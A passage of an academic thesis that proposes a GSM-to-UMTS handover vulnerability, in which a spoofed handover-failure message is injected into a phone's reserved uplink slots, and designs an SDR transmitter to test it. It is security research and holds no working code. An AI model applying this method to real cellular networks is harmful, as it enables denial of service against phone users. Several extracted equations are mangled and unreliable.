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ABSTRACT 

The conversion from homogeneous global system for mobile communications (GSM) 

networks to heterogeneous GSM/universal mobile telecommunications system (UMTS) 

networks is rapidly expanding. Previous research identified vulnerabilities in the GSM 

network that were fixed in the UMTS standard; however, the mobile device must 

successfully access the UMTS network to take advantage of security improvements. 

Therefore, a possible vulnerability not addressed in either the GSM or UMTS standards is 

the potential for a malicious entity to prevent a mobile device from handing over from a 

GSM to UMTS network, because the GSM network maintains the stand-alone dedicated 

control channel (SDCCH) uplink time slots. The process of testing this vulnerability 

requires the development of a device that monitors a GSM base transceiver station, 

identifies when a handover to UMTS message is sent, tracks the time slots of the SDCCH 

uplink, and transmits a GSM handover-failure message. In this thesis, we present an 

open-source coding scheme that utilizes parts of the OpenBTS source code to transmit a 

GSM handover-failure message using the universal software radio peripheral. The 

method is validated through the collection of the GSM transmitter messages by 

Airprobe’s GSM-receiver software. 
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EXECUTIVE SUMMARY 

The increased usage of cell phones for data transmission has led to the deployment and 

installation of universal mobile telecommunications system (UMTS) networks co-located 

with traditional global system for mobile communications (GSM) networks. When the 

UMTS standards were developed, they fixed a number of security flaws embedded in the 

GSM standards but maintained the interoperability between the two standards. This 

interoperability of standards exposed both networks to vulnerabilities exploitable by 

malicious actors. 

In this thesis, we (i) propose a potential vulnerability caused by the 

interoperability of the GSM/UMTS standards, (ii) develop the structure needed to create 

a device for testing GSM/UMTS network vulnerabilities, and (iii) provide the code for a 

software defined radio (SDR) GSM transmitter. The vulnerability proposed in this thesis 

prevents mobile devices from handing over from the GSM network to the UMTS 

network by exploiting the GSM network message authentication procedures and the 

weakness of the encryption algorithms used by the stand-alone dedicated control channel 

(SDDCH). The testing of the vulnerability requires the creatation of a device capable of 

transmitting and receiving GSM messages in accordance with the 3rd Generation 

Partnership Project (3GPP) GSM standards.  

Specifically, we need the testing device to collect the radio resource management 

(RR) message sent from the GSM network to the mobile device instructing the mobile 

device to hand over to the UMTS network, and we need the device to transmit the RR 

handover failure message during a pre-determined time slot. Ideally, we would use cell 

phones to act as our GSM/UMTS network vulnerability testing device, but their 

manufacturers prevent the consumer from altering device firmware, making them 

unconfigurable. The proprietary nature of the mobile device industry has, therefore, 

necessitated the use of an SDR as our configurable GSM transmit and receive device in 

this thesis. An SDR provides us the ability to create any GSM message, package those 

messages into frames, encode the frames into bursts, and modulate the bursts in 

accordance with the 3GPP GSM standards using only software we construct. 



 xviii

GSM transmission and reception using an SDR is well established but poorly 

documented. The OpenBTS project is an open source software package, which when 

coupled with an SDR provides GSM service to commercial cell phones [1]. The 

OpenBTS project, however, prevents users from transmitting any desired message, 

making it inadequate for vulnerability testing. Therefore, in this thesis, we reverse 

engineered and modified the OpenBTS code in order to create a GSM transmitter capable 

of transmitting any GSM RR message.  

The GSM transmitter we created in C++ code takes a link access procedure on 

Dm channel (LAPDm) frame containing a RR message from data bits to modulated in-

phase and quadrature phase samples ready for transmission by a N210 universal software 

radio peripheral (USRP). The C++ code we developed first block encodes the LAPDm 

frame data bits, then passes the encoded bits through a ½-rate convolutional encoder, 

interleaves the convolved bits and maps the bits to a normal burst. Once formed into a 

normal burst, the code we developed diffentially encodes the burst, converts the burst bits 

to ( ) symbols, convolves the symbols using a Gaussian pulse, resamples the in-phase 

and quadrature phase samples in order to transmit the burst at the N210 USRP sampling 

rate and type converts the samples from C++ type float to type short in preparation for 

sending the samples to the N210 USRP.  

After confirming the GSM transmitter was capable of transmitting a GSM RR 

message in accordance with the 3GPP GSM standards by collecting the sent RR 

messages using Airprobe’s GSM-receiver software, we developed and demonstrated a 

method for testing the forementioned GSM/UMTS interoperability vulnerability. The 

method involved collecting a handover to UTRAN message using a Samsung Galaxy S2 

phone coupled with xgoldmon code that triggers the GSM transmitter to send a GSM 

handover failure message. Packet capture library (PCAP) functions were added to 

faciliate the GSM transmitter code to listen to the computer’s loopback address and 

trigger the transmission of a handover failure message. 

Since our proposed testing method was unsuccessful at inserting the handover 

failure message into the correct time slots on the base transceiver station, we explored the 

code’s timing issues. We collected multiple runs of the GSM transmitter code triggered 



 xix

by a handover to UTRAN message and found an inconsistency in the code runtime, which 

confirmed the need for a timing function that synchronizes the receiver and transmitter 

processes. Also, we found the maximum transmission time for samples from the GSM 

transmitter to reach the N210 USRP, which must be taken into account to ensure the 

samples are transmitted by the N210 USRP at the correct time. 
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I. INTRODUCTION 

The increased usage of cell phones for data transmission has led to the 

deployment and installation of universal mobile telecommunications system (UMTS) 

networks co-located with traditional global system for mobile communications (GSM) 

networks. When the UMTS standards were developed, they fixed a number of security 

flaws embedded in the GSM standards but maintained the interoperability between the 

two standards. This interoperability of standards opened the flood gates for possible 

malicious attacks. The testing of such vulnerabilities requires the creation of a 

configurable device capable of both sending and receiving any GSM message. 

Currently, cell phones are relatively cheap, making them a potentially perfect 

choice for a GSM vulnerability testing device, but their manufacturers prevent the 

consumer from altering device firmware, making them unconfigurable. The proprietary 

nature of the mobile device industry has, therefore, necessitated the use of a software 

defined radio (SDR) as our configurable GSM transmit and receive device. 

A SDR provides us the ability to create any GSM message, package those 

messages into frames, encode the frames into bursts, and modulate the bursts in 

accordance with the 3rd Generation Partnership Project (3GPP) GSM standards because 

all the processes are coded in software we construct. The only non-configurable portion 

of the SDR is its hardware that transforms the modulated digital samples, created in 

software, to a transmitted analog waveform at any desired carrier frequency. 

A. THESIS OBJECTIVE 

In this thesis, we propose and investigate a potential vulnerability caused by the 

interoperability of the GSM and UMTS standards, which when exploited prevents mobile 

devices from handing over from the GSM network to the UMTS network. This potential 

vulnerability hinges on the weakness of the encryption algorithms employed by the GSM 

standards and the ability to create a device capable of transmitting and receiving GSM 

messages in accordance with the 3GPP GSM standards.  
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The testing of the proposed vulnerability requires the creation of a device capable 

of collecting and transmitting GSM radio resource management (RR) messages. 

Specifically, we need the device to collect the RR message sent from the GSM network 

to the mobile device instructing the mobile device to hand over to the UMTS network, 

and we need the device to transmit the RR handover failure message during a pre-

determined time slot. 

Since configurable devices capable of GSM RR message collection already exist, 

the objective of this thesis is to develop an open source GSM transmitter using an SDR to 

encode and transmit any RR message in accordance with the 3GPP GSM standards. In 

addition to creating a GSM transmitter, we also propose an integration technique that 

combines our GSM transmitter with a GSM receiver, resulting in a triggered GSM 

transmitter capable of automatically sending a GSM message after reception of a pre-

determined GSM message from a base station controller (BSC). 

B. RELATED WORK 

GSM transmission and reception using an SDR is well established but poorly 

documented. The OpenBTS project is an open source software package which, when 

coupled with a SDR, provides GSM service to commercial cell phones [1]. The 

OpenBTS project, however, prevents users from transmitting any desired message, thus 

making it inadequate for vulnerability testing. The Airprobe [2] project, another open 

source software project, uses GNU Radio [3] and an SDR to collect the base transceiver 

station (BTS) downlink channel but, unfortunately, lacks the capability to transmit GSM 

messages. In this thesis, we reverse engineer the OpenBTS code and re-package the code 

to create a GSM transmitter capable of triggered transmission of any GSM RR message. 

In addition to research involving the use of an SDR to transmit and receive GSM 

messages, Southern [4] and Meyer [5] have examined the security impacts of 

interoperating GSM and UMTS networks. Specifically, their works examined the 

weakness of the GSM encryption algorithms discussed by Ekdahl [6] on GSM/UMTS 

heterogeneous networks. In this thesis, we uncover a potential undocumented 
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vulnerability caused by interoperating GSM and UMTS networks coupled with the weak 

GSM encryption algorithms discussed in [6]. 

The 3GPP GSM standards [7]-[13] provide the technical specifications for 

transforming the GSM message bits into a modulated burst. The C++ computer code 

developed in this thesis for transforming the RR message bits into a modulated burst 

specifically follows the 3GPP GSM standards. 

C. ORGANIZATION 

The aspects of the 3GPP standards that are pertinent to the development of the 

GSM transmitter are outlined in Chapter II. The topics covered include known GSM 

vulnerabilities, GSM to universal terrestrial radio access network (UTRAN) handover 

procedures, GSM physical and logical channel structure, and the GSM burst transmission 

processing from message creation to burst modulation. 

The possible vulnerability of allowing handovers from the GSM network to the 

UMTS network is explored in Chapter III, and a generic solution is developed for the 

design of a device capable of testing the described vulnerability. Finally, a detailed 

process diagram is presented containing all the functions and sub-functions needed to 

create a GSM transmitter capable of RR message generation and transmission using the 

Ettus N210 universal software radio peripheral (USRP). 

The thorough desciption of how the GSM transmitter computer code we 

developed transitions an RR message from a binary bit string into a GSM burst ready for 

transmission by the N210 USRP is provided in Chapter IV. It begins with the 

transformation of the data bits into GSM bursts, continues with the re-sampling and burst 

scaling, and concludes with burst transmission using the N210 USRP. 

The validation of the GSM transmitter’s capability to transmit an RR message is 

demonstrated in Chapter V. Initially, the need for the GSM transmitter to mimic a GSM 

BTS in order to confirm encoding and modulation techniques is discussed. Then testing 

of the GSM handover failure RR message transmission is presented and results 
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explained. Next, the GSM transmitter queuing process is described and tested. Finally, 

timing issues caused by using an SDR as a GSM burst transmitter are analyzed. 

Additional information about the xgoldmon software used in Chapter V is 

contained in Appendix A, the C++ code developed for the GSM transmitter mimicking a 

GSM BTS is listed in Appendix B, and the C++ code used for the queued transmission of 

a handover failure message is displayed in Appendix C. 
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II. GSM VULNERABILITIES AND FUNDAMENTALS 

Heterogeneous networks composed of both GSM and UMTS networks continue 

to increase rapidly as UMTS capable phones become the norm. Even though many of the 

GSM vulnerabilities were fixed in the roll out of the UMTS networks, the backward 

compatibility continues to allow malicious users to exploit unwitting cell phone users. A 

brief overview of the current GSM vulnerabilities, the solutions incorporated in the 

UMTS networks to fix the GSM security flaws, and a description of the GSM signal 

messaging process from message generation through burst modulation are provided in the 

following sections. 

A. GSM VULNERABILTIES 

Since the creation of GSM networks, researchers have been diligently working to 

identify and correct any discovered vulnerabilities. Many of the current vulnerabilities 

stem from the one-way authentication employed by a GSM phone and the weakness of 

the encryption algorithms used for secure communication between GSM towers and 

GSM phones. 

1. Rogue Base Station 

The vulnerability of one-way authentication between a GSM phone and the 

servicing GSM network is often referred to as the rogue base station vulnerability. The 

GSM standards only require the mobile device to authenticate itself to the GSM network 

but not for the network to authenticate itself to the phone. Since the phone never 

authenticates the servicing network, the phone is left vulnerable to malicious actors 

creating fake base stations and luring unsuspecting users to attach to their network. Once 

a user is attached, the malicious actor can capture the mobile device’s international 

mobile subscriber identity (IMSI) and even force the mobile device not to use encryption 

[5], [14]. 
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2. Weak A5/1 and A5/2 Encryption 

When the GSM standards were first introduced, the encryption algorithms, A5/1 

and A5/2, used for securing message signaling and protecting active call content were 

kept secret from the public. This idea of security through obscurity backfired because in 

1994 the A5/1 encryption algorithm was leaked to the public, and by 1999 both 

algorithms had been reverse engineered by Briceno, Goldberg and Wagner [15]. Since 

the discovery of the A5/1 and A5/2 encryption algorithm designs, myriad individuals 

have created techniques for breaking the encryption to include an ability to crack the 

algorithms in real time [4], [6]. 

3. Solution in UMTS Networks 

Since the forementioned vulnerabilities exist in the GSM standards, when the 

UMTS network standards were created, the developers changed the authentication 

process and encryption algorithms. The UMTS standards require both the network and 

phone to authenticate one another, which fixed the rogue base station vulnerability 

prevalent in the GSM standards. Additionally, the UMTS standards changed the 

encryption algorithm to use the block coder, KASUMI, and made the encrypting process 

open source, which allowed the public to ensure the security of the algorithm [4]. 

B. HANDOVER TO UTRAN 

Before we explore potential vulnerabilities associated with mixing GSM and 

UMTS networks, we must first understand how they were designed to interoperate. The 

handover to UTRAN procedure allows a mobile device to hand over from a GSM 

network to a UMTS network. This process is accomplished through the sending and 

receiving of RR messages between the GSM BTS and mobile device on the logical stand-

alone dedicated control channel (SDCCH) [8]. 

1. Handover to UTRAN Messaging 

The successful execution of a handover from the GSM network to the UMTS 

network involves a seven step process derived from [8], [16] and [17] and shown in 

Figure 1. First the GSM network sends the Inter System to UTRAN handover command 
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from the BSC through the BTS to the mobile device, which upon reception disconnects 

from the GSM network and begins physical layer synchronization with the UMTS 

network. Once the mobile device successfully connects to the UMTS network, it 

transmits a Handover to UTRAN Complete message to the servicing radio network 

controller (RNC) by way of the Node B, which communicates to the mobile switching 

center (MSC) that the mobile device has successfully moved to the UMTS network. 

Upon reception of the End Signal Request from the core network (CN), the MSC initiates 

the clearing of resources previously used by the mobile device on the GSM network. The 

average call interruption duration during a handover from GSM to UMTS is 200 ms [18]. 

 

Figure 1.  Sequence of operations when a mobile device is conducting a successful 
handover from GSM to UMTS (after [8], [16] and [17]). 

2. Handover Failure Messaging 

Should the handover to UTRAN process fail, the mobile device performs the five-

step process derived from [8] as shown in Figure 2. When the mobile device perceives it 

cannot handover to the UMTS network, the mobile device transmits a handover failure 

message in its original time slot on the SDCCH of the previously servicing GSM 

network. Upon reception of the handover failure message, the MSC releases the UTRAN 

channel(s) saved for the mobile device. The handover failure message, shown in Figure 
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3, is a layer three RR message packaged into a type B link access procedure on Dm 

channel (LAPDm) frame [7], [13]. The LAPDm type B frame contains a three-octet 

header with fields containing the link protocol discriminator (LPD), the service access 

point identifier (SAPI), the command/response (C/R), a transmitter-receive sequence 

number N(R), a transmitter-send sequence number N(S), a more bit (M), and a length 

indicator extension bit (EL). The structured format of the LAPDm type B frame and how 

a layer three RR message is packaged within the frame is shown in Figure 4. 

 

Figure 2.  Sequence of operations when a mobile device fails to hand over from GSM to 
UMTS (after [8]). 

The values within the handover failure message are relatively constant. The skip 

indicator is always set to hexadecimal value 0, and the protocol discriminator value, 

which defines the layer three message type, is always set to hexadecimal value 6 for RR 

messages. The message type field identifies the type of RR message. All possible RR 

messages are listed in Table 9.1.1 of [7]. The hexadecimal value 40 indicates that the 

message is a handover failure RR message. The final field, RR cause, allows the mobile 
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device to inform the GSM network of the cause for the failed handover. A list of all 

possible RR cause information elements is located in Table 10.5.2.31.1 of [7]. 

 

Figure 3.  The structured format of a GSM RR handover failure message (after [7]). 

 

Figure 4.  The structured format of a GSM LAPDm type B frame used to send GSM RR 
messages (after [13]). 

C. GSM PHYSICAL AND LOGICAL CHANNELS 

The GSM standard defines logical channels as either traffic channels (TCH) or 

signaling channels transmitted in designated time slots on the physical channel. The 

physical channel uses a combination of frequency and time-division multiplexing to 

create time slots filled with one of the burst types shown in Figure 5. These time slots are 

then modulated and transmitted over the air interface from the BTS to the mobile device 

on the downlink channel or in the opposite direction for the uplink channel. The 



 10

bandwidth allotted to either the uplink channel or downlink channel is 200 kHz. The 

uplink and downlink channel center frequencies are separated by 45 MHz, and a time slot 

on either channel has a period of 576.9 µs. Since the GSM sample rate is 270.833 kHz, 

the number of bits per time slot is 156.25, and the bit period is 3.69 µs. Eight time slots, 

labeled zero through seven, are combined to form a time-division multiple access 

(TDMA) frame [19]. 

 

Figure 5.  A graphical depiction of all five GSM TDMA time slot burst formats  
(after [19]). 

The list of logical channels used by the GSM network is shown in Table 1. The 

list of a few combinations of logical channels mapped to time slots on the physical 

channel and ultimately transmitted on the downlink channel is shown in Table 2. In this 

thesis, we focus on the physical time slot zero downlink combination and the SDCCH 

time slot combination. 
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Table 1.   List of logical channels used by a GSM network (from [19]). 

   Group Channel Name Direction 

Traffic 
Channel 
(TCH) 

TCH 
Full-rate TCH (TCH/F) 

Half-rate TCH (TCH/H) 

Signaling 
Channels 

Broadcast 
Channel 
(BCH) 

Broadcast Control Channel (BCCH) 

Frequency Correction Channel (FCCH) 

Synchronization Channel (SCH) 

Common 
Control 
Channel 
(CCCH) 

Random Access Channel (RACH) 

Access Grant Channel (AGCH) 

Paging Channel (PCH) 

Notification Channel (NCH) 

Dedicated 
Control 
Channel 
(DCCH) 

Stand-alone Dedicated Control Channel 
(SDCCH)  

Slow Associated Control Channel 
(SACCH)  

Fast Associated Control Channel 
(FACCH)  

Table 2.   Common downlink channel combinations used by a GSM network  
(from [19]). 

Physical Time Slots on BTS Carrier 
Frequency 

Downlink Channels 

1–7 1 TCH/F + SACH 
1–7 2 TCH/H + SACCH 
1–7 8 SDCCH + SACCH 

0 1 FCCH + 1 SCH + 1 BCCH + 1 AGCH + 
1 PCH 

 

Finally, the mapping of logical channels to time slots within TDMA frames on the 

downlink channel is shown in Figure 6. Additionally, the order of transmitted time slots 

on the downlink channel is also included in Figure 6. 
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Figure 6.  A diagram of the mapping process from logical GSM channels to physical 
GSM channels (after [20]). 

1. Broadcast Channel (BCH) and Common Control Channel (CCCH) 

The BCH is used by the GSM network to communicate the network 

characteristics to the mobile device. It also aids in the time and frequency 

synchronization of the mobile device with the GSM network. The BCH is transmitted 

during time slot zero of the BTS and has a frame structure length of 51 TDMA frames as 

shown in Figure 7. Each TDMA frame time slot contains one of the five different bursts 

previously described and displayed in Figure 5. The first burst transmitted in frame zero 

of the BCH is the frequency correction burst, which is one time slot long and contains 

142 consecutive zero bits. When the frequency correction burst is modulated, it resembles 

a sine wave 67.7 kHz above the center frequency, which allows the mobile device to tune 

in frequency with the BTS [20]. 

The next transmitted burst is the synchronization burst, which is also one time slot 

in length but contains the BTS identity code (BSIC), the reduced TDMA frame number 

(RFN) and a 64 bit long training sequence instead of the normal 26 bit long training 

sequence used in the normal burst [11]. The synchronization burst allows the mobile 

device to synchronize in time with the BTS because of the extra-long training sequence 

and the transmission of the current frame number [20]. 
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The broadcast control channel (BCCH) uses the normal burst structure for 

transmitting the RR system information type messages. These system information type 

messages sent on the BCCH help to inform the mobile devices of the GSM network’s 

settings. The other type of burst shown in Figure 7 titled CCCH are made up of the 

paging channel (PCH) and the access grant channel (AGCH) messages sent from the 

network to the mobile device using the normal burst structure. Finally, the idle time slot 

is filled with a predefined 142 bit long sequence called a dummy burst. Since the BTS 

must transmit during every time slot, it transmits dummy bursts anytime it does not have 

any other burst to send [20]. 

2. Stand-Alone Dedicated Control Channel (SDCCH) 

The SDCCH is the logical channel responsible for RR messaging between the 

network and mobile device. The SDCCH is usually transmitted in time slot one of the 

uplink and downlink GSM TDMA physical channel. The frame structure used on the 

SDCCH contains 102 TDMA frames as shown in Figure 8. The channel operates by 

assigning a mobile device to a numbered time slot from zero to seven. During the mobile 

device’s time slot on the downlink channel, the mobile device listens for any messages 

sent to it by the BTS. The uplink channel operates identically to the downlink channel 

except the mobile device transmits its RR messages, and the TDMA frames are shifted in 

time by 15 time slots as shown in Figure 9 [20]. The time difference between the last bit 

of the time slot burst being sent to the mobile device on the downlink SDCCH and the 

first bit transmitted by the mobile device on the uplink channel is 55.0323 ms. 

D. GSM MESSAGING 

GSM messaging allows the network and mobile device to discover each other and 

setup and teardown phone calls, along with myriad other functions resulting in the mobile 

device successfully communicating on the GSM network. 
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Figure 7.  Mapping scheme for the 51 frame long BCH and CCCH onto physical time slot zero (after [20]). 

 

 

Figure 8.  A diagram showing the mapping scheme for the 102 frame long SDCCH/8 onto physical time slot one (after [20]). 
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Figure 9.  A depiction of the downlink and uplink time slot spacing between the SDCCH/8 channels (after [20]). 
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1. GSM Layer Three Messaging 

The GSM layer three signaling protocol consists of three sub-layers: radio 

resource management (RR), mobility management (MM), and connection management 

(CM). The RR messaging controls the handovers initiated by the GSM network through 

the sending of messages over the SDCCH to the mobile device. These are the critical 

messages for this thesis because we need to construct the RR handover failure message, 

as shown in Figure 3, in order to test a possible vulnerability present in heterogeneous 

GSM/UMTS networks. The layer three RR messages are packaged within a layer two 

frame, called a LAPDm frame, prior to encoding and modulation [19]. 

2. GSM Layer Two Messaging 

The GSM layer two messaging protocol is achieved through the use of the 

LAPDm protocol, which provides successful transfer of signaling information between 

the GSM network and the mobile device over the air interface. When the RR message is 

packaged into a layer two frame, as shown in Figure 4, a three-octet layer two header is 

used to communicate the address, type, and length of the frame. This information helps to 

reassemble layer three messages and pass them to the correct service access point (SAP) 

for further processing. Since the LAPDm frame is a constant 184 bits in length, fill bits 

are used to ensure that the LAPDm frame is full prior to burst forming. The fill bits used 

for empty octets have hexadecimal value 2B [13], [19]. 

E. GSM BURST FORMING 

After the creation, formatting, and packaging of the GSM data message into a 

LAPDm frame, it needs to be formed into a GSM TDMA time slot burst. The burst 

forming process includes block coding, convolution encoding, interleaving, and burst 

mapping. 

1. Block Coder 

The 3GPP GSM standard [12] uses a block coder called a fire coder to detect bit 

errors in the GSM TDMA time slot bursts transmitted on the SDCCH and BCCH. The 
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probability of a GSM receiver not detecting an error when the burst is coded using the 

fire coder is 2–40 [19]. The fire coder uses the generator polynomial 

     23 17 31  1g D DD D      (1) 

to compute the 40 bit parity code where D represents the coefficients in g(D) equal to a 

binary one while all other coefficients of g(D) are equal to zero when g(D) is converted to 

a binary number. The 40 parity bits are computed through the division of the data bits, 

with 40 zero bits appended, by g(D). The process of using the fire coder for a message 

sent on the SDDCH is illustrated in Figure 10. The order of the output bit vector seen in 

Figure 10 is 

           Output Bit Vector    d 0 , d 1 ,  , d 183 , p 0 , p 1 ,  , p 39 , 0, 0, 0, 0      (2) 

where d(.) represents the 184 data bits, p(.) represents each of the 40 parity bits, and the 

four trailing zeros are the tail bits. These 228 bits are now ready for encoding. 

 

Figure 10.  The block diagram for the GSM fire coder process used for RR messages 
(after [12]). 

The synchronization burst uses generator polynomial 

 10 8 6 5 4 2
1( ) 1g D D D D D D D         (3) 
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for its block coder instead of ( )g D . Otherwise, the process for computing the 

synchronization burst parity bits resembles the procedure shown in Figure 10 except only 

25 input data bits enter the block coder and only 10 parity code bits are generated. 

2. ½-Rate Convolution Encoder 

The convolutional encoder defined in the 3GPP GSM standard [12] corrects bit 

errors by adding redundancy to the transmitted bits. The specific convolutional encoder 

used for the SDCCH is a ½-rate convolutional encoder, which creates two output bits for 

every input bit using generator polynomials 

   3 4
0  1     G D DD      (4) 

 3 4
1( ) 1G D D D D      (5) 

where D represents those coefficients equal to a binary one and all other coefficients are 

zero. A graphical depiction of the ½-rate convolution coder, using Equations (4) and (5) 

as the generator polynomials, is shown in Figure 11. The encoding process starts with all 

five shift registers initialized to zero. Then each individual input bit shifts into the 

encoder, and the modulo-2 addition is computed on the values in each tap, which are 

defined by the generator polynomials from Equations (4) and (5). The outputs of the 

modulo-2 additions are interleaved with the output from Equation (4) being first. This 

process transforms the 228 input bit vector into a 456 output bit vector ready for 

interleaving. 

 

Figure 11.  The graphic depiction of the shift register model for the GSM ½-rate 
convolutional encoder (after [12]). 
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3. Interleaver 

The interleaving process used in the 3GPP GSM standard [12] protects messages 

from burst errors caused by long and deep fading periods through the removal of any 

statistical dependence on sequential bits [19]. The procedure of interleaving a SDCCH or 

BCCH burst is different from a traffic channel burst because the coded bits c(n,k), 

coming from the convolution encoder, are spread over four interleaving blocks instead of 

eight. The mapping of the coded bits to interleaved blocks uses n, the data block number, 

and k, the bit location within the data block, to compute i(B,j), the interleave location. 

The values for B and j are calculated using 

 = + 4  + (  mod 4)0B B n k   (6) 

  = (2( (49 ) mod 57) + ( (  mod 8) div 4)j k k   (7) 

where B is the interleave block number, j is the location within the interleave block, and 

B0 is the starting interleave block number. Once i(B,j) is calculated, the value of c(n,k) is 

stored in that location within the interleaved block. A diagram of this process is shown in 

Figure 12. 

4. Burst Mapping 

The burst mapping process described in the 3GPP GSM standard [12] takes the 

interleaved blocks and distributes the values into the correct locations within a GSM 

TDMA time slot burst according to the following rules 

          and    for  e B, j = i B, j e B,59+ j = i B,57+ j j =0,1,…,56   (8) 

where e(B,j) is the calculated location within the 156.25-bit long TDMA time slot burst. 

The mapping of GSM TDMA time slot Burst 0 is shown in Figure 12. The SDCCH uses 

the normal burst for message passing and the dummy burst to fill empty time slots. The 

BCH uses the frequency correction burst, synchronization burst, normal burst, and 

dummy burst to commutate network information to mobile devices. 
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Figure 12.  A diagram of the interleaving and burst mapping process used on messages 
transmitted on the SDCCH or BCCH (after [12]). 

F. GSM MODULATION 

After the creation of each GSM TDMA time slot burst, they are converted to 

symbols through differential encoding and modulated using the Gaussian minimum-shift 

keying (GMSK) scheme defined in the 3GPP GSM standard [10]. 

1. Differential Encoder 

The differential encoder in the 3GPP GSM standard [10] forces the current 

transmitted symbol to be dependent both on itself and the previous symbol and converts 

the binary output of the differential encoder to a non-return to zero (NRZ) sequence ( 1

). The differential encoder accomplishes both functions by first encoding as 

  1
ˆ      ( 0,1 )i i i id d d d     (9) 

where   denotes modulo-2 addition and id  represents the current input data bit. After 

the differential encoding, the encoded data bits are converted as 

  ˆ1 2     ( 1, 1 )i i ia d a       (10) 
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resulting in the NRZ sequence ( 1 ). 

2. GMSK Modulation 

The symbols from the differential encoder are sent through a frequency filter, 

which generates the phase ( )t  of the modulated signal. This phase is computed as 

 ( ) ( )
bt iT

i
i

t a g u du 




    (11) 

where g(u) is the impulse response defined as the convolution of h(t), the impulse 

response of a low-pass Gaussian filter, with a rectangular step function  / brect t T . The 

variable   is the modulation index, which is 0.5 for a GSM signal for the purpose of 

maintaining a maximum phase shift of / 2  between bit periods Tb. The rectangular step 

function used to compute g(u) in Equation (11) is 
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and the Gaussian filter h(t) has impulse response 
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where B represents the 3-dB bandwidth of the filter h(t). Finally, the computed phase 

( )t  from Equation (11) is input to the phase modulator as follows 

  0 0

2
( ) cos 2 ( )  c

b

E
x t f t t

T
       (14) 

where f0 is the center frequency, Ec is the energy per modulating bit, and 0  is a random 

phase component, which remains constant for the duration of an entire GSM TDMA time 
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slot burst. The output of Equation (14) represents the modulated GSM burst sample ready 

for transmission at the GSM sample rate of 270.833 kHz. 

A brief overview of the current vulnerabilities plaguing GSM networks along 

with implemented solutions used on UMTS networks to correct the vulnerabilities were 

explained in this chapter. Additionally, the GSM signal messaging for mobile device 

handover from GSM to UMTS and handover failure were presented. Finally, GSM 

message creation from the layer three messages to burst transmission on a physical 

channel was discussed for an unencrypted GSM RR message. 
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III. GSM TRANSMITTER DESIGN FOR VULNERABILITY 
TESTING 

As countries convert their homogeneous GSM networks to heterogeneous 

GSM/UMTS networks, vulnerabilities are created in the mixing of the technologies 

which must be addressed by the 3GPP standards. As discussed in Chapter II, many of the 

GSM vulnerabilities were fixed in the 3GPP UMTS standards; however, the mobile 

device must successfully access the UMTS network to take advantage of the 

improvements. Therefore, a possible vulnerability not addressed in either the GSM or 

UMTS standards is the potential for a malicious entity to prevent a mobile device from 

handing over from a GSM to UMTS network because the GSM network maintains the 

SDCCH uplink time slots. These time slots are maintained for use in the event a handover 

failure occurs, yet their existence allows for potential exploitation due to the weakness in 

the encryption algorithms used on the SDCCH to validate the authenticity of sent traffic. 

In this thesis, we assume no encryption is used on the network. This is a valid assumption 

because, as discussed in Chapter II, a primary vulnerability of GSM is the weakness the 

of A5/2 and A5/1 encryption schemes. 

A. HANDOVER TO UTRAN VULNERABILITY 

The success and failure handover processes shown in Figure 1 and Figure 2 

provide the basis for the hypothesis that vulnerability exists with the current handover to 

UTRAN procedures described in Chapter II. During the handover to UTRAN process, the 

GSM network continues to keep the mobile station’s four time slots vacant on the 

SDCCH uplink channel in the event a handover failure occurs and the mobile station 

must return to the original GSM network. The potential vulnerability, shown in Figure 

13, results from the GSM network’s continuous collection and processing of any 

appropriately formatted messages sent during the time slots of the mobile device coupled 

with the network’s sole validation mechanism of sender authenticity being a known 

breakable encryption algorithm.  
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As displayed in Figure 13, upon receipt of the layer three RR message initiating a 

handover to a designated UMTS network, the mobile device conducts a hard handover 

and immediately attempts to establish communications with the new network. 

Concurrently, during the attempted handover, a malicious device could transmit a 

properly formatted and encrypted handover failure message in the time slots on the 

SDCCH uplink channel reserved for the mobile device. If the BSC assumes the handover 

failure message was sent from the mobile device, then it should process and transport the 

message to the MSC. If the handover failure message reaches the MSC prior to the end 

signal request message sent from the UMTS network, which the mobile device initiated 

through the sending of a handover complete message to the RNC, then the MSC should 

continue to send the mobile device’s traffic to the GSM network instead of the UMTS 

network. The reserved UTRAN channel(s) should be released. Since the MSC released 

the UTRAN channel(s), the mobile device should cease receiving traffic on the UMTS 

network and conclude a handover failure occurred thereby returning to the original GSM 

network.  

As was explained in Chapter II, the elapsed time between the handover to UTRAN 

message being sent by the BTS to the mobile device and the mobile device establishing 

communication with the UTRAN Node B is on average 200 ms [18], while the time 

frame between the handover to UTRAN message on the downlink SDDCH and the next 

available time slot for the mobile device to transmit a handover failure message on the 

SDDCH uplink is approximately 54 ms. Therefore, the handover failure message 

receives an approximate 146 ms head start over the handover complete message in 

reaching the MSC. 

B. SYSTEM REQUIREMENTS FOR VULNERABILITY TESTING 

The testing of the handover to UTRAN vulnerability requires the creation of three 

processes. The first process collects the downlink of the BTS and identifies when a 

mobile device receives a handover to UTRAN message. The second process constructs, 

encodes, modulates, and transmits a GSM burst signal. Finally, the third process controls 
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the timing within the first two processes to ensure the transmitted bursts are sent in the 

correct time slots. 

 

Figure 13.  Diagram of the exploitation of a potential vulnerability initiated during the 
handover to UTRAN process. 

Currently, open source code exists [2] for controlling the USRP for GSM BTS 

reception, but this code provides no capability for message generation and transmission. 

OpenBTS [1] provides the open source code for message transmission and reception but 

only in the capacity as a GSM BTS. Private companies like ASCOM and Epiq Solutions 

have proprietary products on the market which collect GSM messaging but prevent the 

user from modifying the code or transmitting a GSM RR message. Since multiple GSM 

receivers already exist, in this thesis we focused on the creation of an open source GSM 

transmitter capable of transmitting a GSM RR message without encryption. 

C. GSM TRANSMITTER 

The GSM transmitter we developed contains three functions: Burst Creator, Burst 

Modulator, and Burst Transmitter. A schematic diagram of the GSM transmitter is 
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displayed in Figure 14. The Burst Creator function takes the layer three and layer two 

message bits and converts them from binary bits, with the most significant bit (MSB) 

first, into four GSM TDMA time slot bursts. The Burst Modulator takes the raw bits from 

the GSM TDMA time slot bursts and converts them into in-phase and quadrature phase 

samples of C++ type short at the sample rate of 400 kHz. Finally, the Burst Transmitter 

converts the in-phase and quadrature phase samples into an analog signal and transmits 

the signal at the desired carrier frequency using a N210 USRP. Many of the functions of 

the GSM transmitter code were borrowed from the transmission process of the OpenBTS 

project code [1]. Currently, no documentation exists on how the OpenBTS code works; 

therefore, we reverse engineered the code to identify the correct functions needed to 

transmit any desired RR message at any specified time. 

 

Figure 14.  Schematic diagram detailing the process flow within the GSM transmitter. 
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In this chapter, a potential vulnerability stemming from the interoperability of 

GSM and UMTS networks coupled with weak GSM encryption on the SDCCH was 

presented. This potential vulnerability denies mobile devices from successfully 

